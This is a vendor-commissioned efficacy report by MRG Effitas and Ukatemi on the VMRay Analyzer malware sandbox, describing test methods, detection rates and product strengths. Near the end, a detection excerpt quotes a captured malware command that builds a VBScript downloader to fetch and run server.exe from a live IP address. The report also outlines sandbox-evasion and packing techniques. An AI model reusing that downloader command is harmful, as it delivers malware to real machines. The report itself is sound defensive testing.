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About VMRay
VMRay is a CyberSecurity company that provides both a cloud-based and on-premises product, VMRay Analyzer, for detecting malware-related threats using dynamic program analysis.

VMRay uses hypervisor-based monitoring built on the academic work of the two co-founders. VMRay Analyzer is primarily used by CERTs and SOCs in large enterprises, telecoms and technology vendors for analyzing and identifying malware, in particular targeted attacks related to APTs.

About MRG Effitas
MRG Effitas is a UK based, independent IT security research organisation that focuses on providing cutting-edge efficacy assessment and assurance services, the supply of malware samples to vendors and the latest news concerning new threats and other information in the field of IT security.

MRG Effitas’ origin dates back to 2009 when Sveta Miladinov, an independent security researcher and consultant, formed the Malware Research Group. Chris Pickard joined in June 2009, bringing expertise in process and methodology design, gained in the business process outsourcing market.

The Malware Research Group rapidly gained a reputation as the leading efficacy assessor in the browser and online banking space and, due to increasing demand for its services, was restructured in 2011 when it became MRG Effitas, with the parent company Effitas.

Today, MRG Effitas has a team of analysts, researchers and associates across EMEA, UATP and China, ensuring a truly global presence.

Since its inception, MRG Effitas has focused on providing ground-breaking testing processes and realistically modeling real-world environments in order to generate the most accurate efficacy assessments possible.

MRG Effitas is recognized by several leading security vendors as the leading testing and assessment organization in the online banking, browser security and cloud security spaces and has become their partner of choice.

Our analysts have the following technical certificates:

About Ukatemi
Ukatemi Technologies is a spin-off from the CrySyS Lab, Budapest. It was founded in December 2012 by members of CrySyS Lab with the mission to address problems of targeted attacks in cyber space.

Targeted attacks often use advanced methods, aim to compromise high profile targets, are stealthy and persistent, and, therefore, difficult to detect and mitigate. Ukatemi focuses on providing to its clients customized threat intelligence reports and incident handling services, including malware analysis. Ukatemi provides personalized services that may not be procured elsewhere.
Introduction

VMRay commissioned MRG Effitas to conduct an efficacy analysis of its VMRay malware analysis sandbox product. This sandbox is capable of detecting traditional malware, malware simulating APT attackers, documents containing exploits, exploits on URLs, and other malicious activities.

The term Advanced Persistent Threat (APT) refers to a potential attacker that has the capability and the intent to carry out advanced attacks against specific high-profile targets in order to compromise their systems and maintain permanent control over them in a stealthy manner. APT attacks often rely on new malware, which is not yet known to and recognized by traditional anti-virus products. APT attackers typically use spear phishing or watering hole techniques to deliver the malware to victim computers where it is installed by enticing the user to open the file containing the malware or the link pointing to it. Installation of the malware may also involve exploiting some known or publicly unknown vulnerability in the victim system, or social engineering. Once the malware is installed, it may connect to a remote Command & Control server, from which it can download updates and additional modules to extend its functionality. In addition, the malware may use rootkit techniques in order to remain hidden and to provide permanent remote access to the victim system for the attackers.

As traditional anti-virus products seem to be rather ineffective in detecting new malware, and hence, mitigating APT attacks, a range of new solutions, specifically designed to detect APT attacks, have appeared on the market in the recent past. These anti-APT tools open those files in a sandbox environment on virtual machines under various configuration settings, analyze the behaviour produced by the virtual machines, and try to identify anomalies that may indicate the presence of a malware or an exploitation attempt.

There is no doubt that these new tools are useful. However, determining the real effectiveness of these tools is challenging, because measuring their detection rate would require testing them with new, previously unseen malware samples with characteristics similar to those of advanced malware used by APT attackers. Developing such test samples requires special expertise and experience obtained either through the development of advanced targeted malware or at least through extensive analysis of known samples.

We at MRG Effitas and Ukatemi decided to join forces and perform a test of leading APT attack detection tools using custom developed samples. MRG Effitas has extensive experience in testing anti-virus products, while Ukatemi has a very good understanding of APT attacks gained through the analysis of many targeted malware campaigns (including Duqu, Flame, MiniDuke and TeamSpy). Therefore, collaborating and bringing together our complementary sets of expertise looked like a promising idea.
Test details

The following components and test cases were used during the test:

- Number of in-the-wild exploits: 10
- Number of in-the-wild malware: 60
- Number of full custom malware: 2
- Number of different custom exploit obfuscation (Java, Flash): 1
- Number of different sandbox evasion techniques: 10
- Publicly known, but customizable malware samples: 15
- Number of standard off-the-shelf exploit kit (e.g. Metasploit) test cases: 10
- Samples with custom crypters: 1
- Samples with known crypters: 2
- Number of different delivery methods (exploit, macro, java self-signed, ActiveX, HTML5, etc): 4
- Total number of test cases: ~95

The target platform was Windows 7 64-bit, with Internet Explorer 11 and recent versions of Firefox, Chrome, Adobe Flash Player, Adobe Acrobat, Microsoft Office, Silverlight and Java Runtime Environment.

We tested browser exploits that target Internet Explorer and Flash as these are the most prevalent attacks at present. Besides these exploits we used PDF, RTF, and DOCX type exploits. Non-prevalent file-types like AVI and CHM were out of scope.

After a first round of tests some issues were identified in the VMRay analysis environment. MRG Effitas provided feedback to the VMRay team on suggested adjustments to address these issues. This report contains the result of the retest after some of these issues were addressed.

Our tests included the following parameters and custom developed tools:

- We used encoded shellcodes to avoid detection
- We used PowerShell, Visual Basic Script and Batch-based attacks to simulate APT attackers
- We developed Microsoft Office files with direct shellcode execution (no PE is dropped to the hard-disk)
• We used known packers like Themida and VMProtect and also developed two new custom packers (XOR, Compress + XOR)

• We used known RATs like PoisonIvy and NJRat
- We tested shellcode execution embedded into Python, Ruby scripts or Go binaries
- We developed samples with MD5-based hash collisions
- We used exploits targeting Flash, Java, Adobe Reader, Microsoft Office and Silverlight
- We used encoded payload delivery during exploits
- We used lateral movement in a test, and as a first step, we extracted hashes from the machine which can be used in pass-the-hash attacks
- We developed custom exploit encryption methods where a passive network listener device cannot replay the exploit, because it lacks the encryption keys
- We developed 10 new malware analysis sandbox detection techniques
We signed some malware samples with both valid and invalid certificates to simulate APT attackers.

The majority of the in-the-wild malware and exploit kit tests were done live.

We used the following exploit-kits in our exploit kit tests: Rig, Sundown, Metasploit.
High-level results

After performing the tests, we identified the following strengths of the VMRay malware analysis sandbox:

- The sandbox is very strong at hiding both the virtualization level from malware running in the sandbox (anti-anti-vm) and any specific artefacts of the sandbox itself.
- The number of supported analysis environments and file types are above industry average.
- The reports are useful for both beginners and advanced users.
- It is easy to interact with the analysis environment during analysis in case manual actions are needed to trigger the malicious activity.
- The analysis environment is configurable with prescripts, which provides options for advanced users to fine-tune the analysis environment.
- The YARA rules are effective to detect known but packed malware by inspecting the memory when the code is unpacked.
- The YARA rules are effective to detect known exploits like Office files, PDF
- The sandbox will analyze malware that is packed – packers are the biggest enemies of traditional antivirus engines.
- The sandbox has hash-based reputation checking and Metadefender integration
- Besides executables, malicious scripts written in PowerShell are also detected
- The sandbox has solid exploit detection via URL analysis
- The REST API interface is well documented
Detailed results

In-the-wild tests

Following are the malware analysis sandbox results of the in-the-wild malware samples. VTI scores are the results of the dynamic execution of the malware inside the sandbox.

<table>
<thead>
<tr>
<th>In-the-wild-malware</th>
<th>Test Results</th>
</tr>
</thead>
<tbody>
<tr>
<td>% of samples detected as Malicious*</td>
<td>88%</td>
</tr>
<tr>
<td>% of samples detected as Blacklisted*</td>
<td>12%</td>
</tr>
<tr>
<td>Total Detection Efficacy</td>
<td>100%</td>
</tr>
</tbody>
</table>

*VMRay Severity Score Chart

- Blacklisted: VMRay’s reputation engine recognizes the sample as a known malicious file
- Malicious: VMRay’s dynamic analysis engine determines that the file is malicious based on specific behavior patterns
- Suspicious: VMRay’s dynamic analysis engine determines that the file is suspicious based on specific behavior patterns
- Not Suspicious: VMRay’s dynamic analysis engine determines that the file is not suspicious based on behavior patterns
- Whitelisted: VMRay’s reputation engine recognizes the sample as a known benign file

![Final in-the-wild sample detection](image)

Figure 1 - Final detection via VTI and reputation for in-the-wild malware
Custom malware tests
VMRay Analyzer detected the majority of custom malware samples as malicious, thereby highlighting its ability to detect highly evasive and advanced malware. In some custom malware test scenarios, VMRay’s dynamic analysis engine determined that the file was suspicious (but not malicious) based on specific behavior patterns. There are several reasons why VMRay’s dynamic analysis engine may only classify a file as suspicious and not malicious. For example, if the command and control server is inactive at the time of the analysis, the sample may be deemed to be less malicious than it actually is. Similarly, if the C&C is available, but no malicious actions are received from the command and control server during the analysis, the sample may only be classified as suspicious. Please note that this is a general shortcoming of dynamic malware analysis and is not specific to VMRay Analyzer.
Anti-anti VM
Finding

There are three main types of attacks where attackers can detect the malware analysis sandbox, and change the malware behaviour if an analysis environment is detected:

1. Detection of virtualization software (Virtualbox, VMWare, QEMU, KVM...)
2. Identify a difference between the target computer (e.g. desktop computer with user activity) and a plain analysis environment.
3. Context-aware or environment-aware malware, where the malware sample only triggers if specific factors are met, e.g. it starts on a given date only, or it checks the presence of a specific environment variable, registry key, etc. It is even possible to encrypt the malware payload based on the value of this variable, so without knowing (or guessing) the correct value, the payload cannot be decrypted.

VMRay has a series of blog posts on sandbox evasion techniques here: https://www.vmray.com/blog/sandbox-evasion-techniques-part-1/

When it comes to detection of virtualization software, the de-facto standard is the Pafish tool: https://github.com/a0rtega/pafish

VMRay is implemented as a modified KVM/QEMU, so we can only expect VM detections on the KVM/QEMU part. By running the Pafish tool, we can see that there is not a single detection of the virtualization environment. Note: sometimes, Pafish detects that VMRay does not simulate mouse movement, but this is a bug in Pafish (the window to check is too short), and not in VMRay.
When it comes to detecting the difference between the target computer and the analysis environment, the following research is useful:

https://github.com/MRGEffitas/Sandbox_tester

https://www.youtube.com/watch?v=-wN5XvrfuxY

By running the tool, we can be sure that the VMRay environment fakes the following in order to be undetectable for malware which targets the desktop environment:

- There are icons and files on the desktop
- There are standard applications installed
- There are applications with GUI running in the background
- There are non-default bookmarks in Internet Explorer
- There is a printer attached to the system
- All the hardware descriptors match a desktop system
- The gettickcount and lastbootuptime shows that the system is already up and running for a while
- The screen resolution matches a desktop resolution
- The system interacts with messageboxes (a trick commonly used in RAT samples)
- The sleep detection of the script can’t detect the presence of sleep hooking, but in reality, sleeps are fast-forwarded.
• Non-default desktop background is used

To defeat context-aware malware (almost exclusively used in APT attacks), one has to know what configuration/environment is expected by the malware. When this is known, either the prescripts or the interaction with the VM during the analysis can be used to trigger the malicious payload by the malware. Alternatively, when run on-prem at a customer site, VMRay can use the customer’s own gold images as target machines for analysis.

Supported file types and analysis environments
Finding

The supported file types and analysis environments (with OS, program versions and patch levels) make it useful to analyse any in-the-wild threat.
<table>
<thead>
<tr>
<th>Windows Exe (x86-64)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Auxiliary (use reputation as additional analyzer)</td>
</tr>
<tr>
<td>□ Metadefender</td>
</tr>
<tr>
<td>✔ VM: Windows 10 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable</td>
</tr>
<tr>
<td>✔ VM: Windows 7 (SP1, 64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable</td>
</tr>
<tr>
<td>✔ VM: Windows 8.1 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable</td>
</tr>
<tr>
<td>□ Virus Total</td>
</tr>
<tr>
<td>□ VM: Windows 7 (SP1, 64-bit, alternative hardware)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable</td>
</tr>
<tr>
<td>□ VM: Windows 10 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: RDTSC special handling</td>
</tr>
<tr>
<td>□ VM: Windows 8.1 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: RDTSC special handling</td>
</tr>
<tr>
<td>□ VM: Windows 7 (SP1, 64-bit)</td>
</tr>
<tr>
<td>□ Configuration: RDTSC special handling</td>
</tr>
<tr>
<td>□ VM: Windows 7 (SP1, 64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable (alternative timing)</td>
</tr>
<tr>
<td>□ VM: Windows 7 (SP1, 32-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable (alternative timing)</td>
</tr>
<tr>
<td>□ VM: Windows 8.1 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable (alternative timing)</td>
</tr>
<tr>
<td>□ VM: Windows 10 (64-bit)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable (alternative timing)</td>
</tr>
<tr>
<td>□ VM: Windows 7 (SP1, 64-bit, alternative hardware)</td>
</tr>
<tr>
<td>□ Configuration: Binary executable (alternative timing)</td>
</tr>
</tbody>
</table>

Custom
- Excel Document
- HTML Application
- HTML Document
- JScript
- Java Archive
- Java Class
- MSI Setup
- Macromedia Flash
- Microsoft Access Database
- Microsoft Publisher Document
- PDF Document
- PowerShell Script
- Powerpoint Document
- RTF Document
- URL
- VBScript
- Windows ActiveX Control (x86-32)
- Windows ActiveX Control (x86-64)
- Windows Batch File
- Windows DLL (x86-32)
- Windows DLL (x86-64)
- Windows Driver (x86-32)
- Windows Driver (x86-64)
- Windows Exe (x86-32)
- Windows Exe (x86-64)
- Windows Script File
- Word Document
Useful reports
Finding

The reports generated by the system are useful for both beginners and advanced users.
The system test also noted that during the analysis, some memory dumps may be missing in the report. You can increase the limit in the configuration.

<table>
<thead>
<tr>
<th>PID</th>
<th>Monitor Name</th>
<th>Integrity Level</th>
<th>Image Name</th>
<th>Command Line</th>
<th>Origin ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>3016</td>
<td>Analysis Target</td>
<td>Medium</td>
<td>ssldae</td>
<td>C:\Program Files (x86)\Microsoft Office\Office15\Outlook.exe</td>
<td>1</td>
</tr>
<tr>
<td>3016</td>
<td>Child Process</td>
<td>Medium</td>
<td>sslout</td>
<td>C:\Program Files (x86)\Microsoft Office\Office15\Outlook.exe</td>
<td>1</td>
</tr>
<tr>
<td>3016</td>
<td>Child Process</td>
<td>Medium</td>
<td>ssldaex</td>
<td>C:\Program Files (x86)\Microsoft Office\Office15\Outlook.exe</td>
<td>1</td>
</tr>
<tr>
<td>3016</td>
<td>Child Process</td>
<td>Medium</td>
<td>sslda</td>
<td>C:\Program Files (x86)\Microsoft Office\Office15\Outlook.exe</td>
<td>1</td>
</tr>
</tbody>
</table>

**System Information**

- **OS**: Windows 10
- **CPU**: Intel® Core™ i7-8700K Processor 3.70 GHz
- **RAM**: 16 GB DDR4 2133 MHz
- **Disk Space**: 1000 GB
- **Network**: Ethernet
- **Software**: Microsoft Office 2016

**Analyzation and Virtual-Machine Information**

- **Software Version**: 2017-05-31 15:27 (UTC+0)
- **Virtual Machine**: VMRay
- **Guest OS**: Windows 10 Enterprise 2016
- **Guest Memory**: 4 GB
- **Guest CPU**: 1 Core
- **Guest Disk**: 100 GB
- **Guest Network**: Ethernet
Easy interaction with the sandbox during the analysis

Finding

It is not uncommon that the sample won’t start without any specific user activity. E.g. some samples use an installer, where a user has to click through a series of windows before the malicious payload is delivered. The VMRay malware analysis sandbox environment has automated user simulation, providing the mouse and keyboard input the malware would typically expect. It also makes it easy to manually interact with the environment during analysis, by only using the web browser and HTML5 technology.

For tasks which can be automated, prescripts can be written and uploaded to the analysis environment. These scripts can change the analysis environment for the specified malware. EXE, Batch File, Windows scripting host file etc. can be used for a prescript.

YARA rules implemented

Finding

YARA “provides a rule-based approach to create descriptions of malware families based on textual or binary patterns.” It is a great tool to classify known malware, and also to identify new samples for known malware families. YARA is especially effective when the sample is packed, but the rule is used on the unpacked, in-memory process. YARA can also be used to detect document files (Word, Excel, PDF) containing exploits.

VMRay incorporates YARA rules to detect the variants from known families, and to detect new samples of known exploits. They are applied to various analysis artifacts (extracted files, process dumps, network dumps, etc.).

![Detected Threats](image)

Strong resistance against packers

Finding

Traditional endpoint protection can be bypassed by packers with relative ease. By packing a file, the behaviour of the malware is kept, but the structure of the original malware is lost, thus blacklists like signature based detections can be bypassed easily. Malware analysis sandboxes were developed to
inspect the behaviour of the samples. So any malware analysis sandbox should have good resistance against packers – and so does VMRay. A lot of packers integrated anti-sandbox solutions, which makes the analysis in a sandbox hard. This is why anti-anti-sandbox solutions implemented into VMRay are important.

Hash based reputation, Metadefender and VirusTotal integration
Finding

Sample hashes can be sent to external reputation engines, and if the sample is already known, the result of the reputation check can be included in the report.

In case the sample is not known to the reputation engine by the hash, but is known to one or more AV engines, Metadefender can be integrated into VMRay, and the detection can be improved with the knowledge-base of the multiple AV scanners running in Metadefender. If the confidentiality of the files are not important, the files can be directly uploaded to VirusTotal.

Malicious scripts are detected
Finding

Some malware analysis sandboxes focus mostly on EXE files. But attackers use a variety of files and techniques. One of the most recent targeted attacks employed PowerShell. VMRay can detect obfuscated or malicious PowerShell attacks – and not just by checking the behaviour of the malware processes, but by checking for known techniques used in PowerShell attacks – e.g. use of encoded PowerShell attacks.
Process

Create process command:

```powershell
Get-Process | Where-Object {$_.'AssemblyVersion' -like '*.0.0.0.0'} | Select-Object -Property Id | Export-Csv -Path 'C:\Windows\Logs\Processes.csv' -NoTypeInformation
```
Solid browser exploit detection via URL analysis

Finding

The URL analysis module was able to detect in-the-wild exploit kits like RIG or Sundown on live URLs. The exploit kits targeted vulnerabilities in Internet Explorer and in Flash.

<table>
<thead>
<tr>
<th>VTI Information</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>VTI Score</td>
<td>100 / 100</td>
</tr>
<tr>
<td>VTI Database Version</td>
<td>2.5</td>
</tr>
<tr>
<td>VTI Rule Match Count</td>
<td>7</td>
</tr>
<tr>
<td>VTI Rule Type</td>
<td>Browser</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Detected Threats</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>File System</td>
<td>Modify operating system directory</td>
</tr>
</tbody>
</table>
| process "cmd.exe /c echo & echo >>C:\Windows\Temp\ttexec.vbs Set xPost=CreateObject("Microsoft.XMLHTTP"
| process "c:\windows\temp\ttexec.vbs xPost.Open COMPLETEDGET","http://222.187.239.35:8889/server.exe","0 & echo >>C:\Windows\Temp\ttexec.vbs xPost.Send() & echo >>C:\Windows\Temp\ttexec.vbs set xGet=CreateObject("ADODB.Stream") & echo >>C:\Windows\Temp\ttexec.vbs xGet.Mode=3 & echo >>C:\Windows\Temp\ttexec.vbs xGet.Type=1 & echo >>C:\Windows\Temp\ttexec.vbs xGet.Open() & echo >>C:\Windows\Temp\ttexec.vbs xGet.Write xPost.ResponseBody & echo >>C:\Windows\Temp\ttexec.vbs xGet.SaveToFile "C:\Windows\Temp\ttexec.exe",2", & echo >>C:\Windows\Temp\ttexec.vbs xGet.Close() & echo >>C:\Windows\Temp\ttexec.vbs xGet.DeleteFile "C:\Windows\Temp\ttexec.exe"."
| process "c:\windows\temp\ttexec.vbs"."
| process "\c:\windows\temp\ttexec.vbs"."
| process "\c:\windows\temp\ttexec.vbs"."
| Network                  | Download file         |
| URL "http://222.187.239.35:8889/server.exe"."
| Network                  | Download data         |
| URL "http://222.187.239.35:8889/server.exe"."
Conclusion

We found the VMRay malware analysis sandbox to be an excellent tool to detect malicious software, documents containing exploits or malicious URLs. The developers of the system clearly understand the threat landscape, and developed the system accordingly. It is highly recommended for digital forensics and incident response (DFIR) professionals and as part of a suite of tools for CERTs.